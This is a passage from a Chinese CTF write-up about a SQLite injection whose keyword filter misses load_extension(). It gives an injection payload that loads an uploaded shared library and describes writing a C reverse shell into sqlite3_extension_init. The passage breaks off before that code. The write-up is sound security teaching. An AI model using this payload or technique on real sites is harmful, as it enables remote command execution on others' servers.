某次ctf比赛时,发现前台存在sql注入,使用的是sqlite数据库,通过报错信息,发现过滤了select、or、and、insert等关键字,但是没有禁止load_extension() 函数
于是可以通过如下方式加载动态库,如windows的dll,linux的so进行远程命令执行,方式如下:
www.abc.com?id=1'||load_extension('/home/poc.so');--
刚好目标网站有一个文件上传接口,可以自己编写动态库,然后上传上去。
从sqlite的官网上,我找到了一个例子:
load_extension的默认初始化函数不是c语言的main函数,而是sqlite3_extension_init函数,于是我把c语言的反弹shell 写进该函数里面:
/* Add your head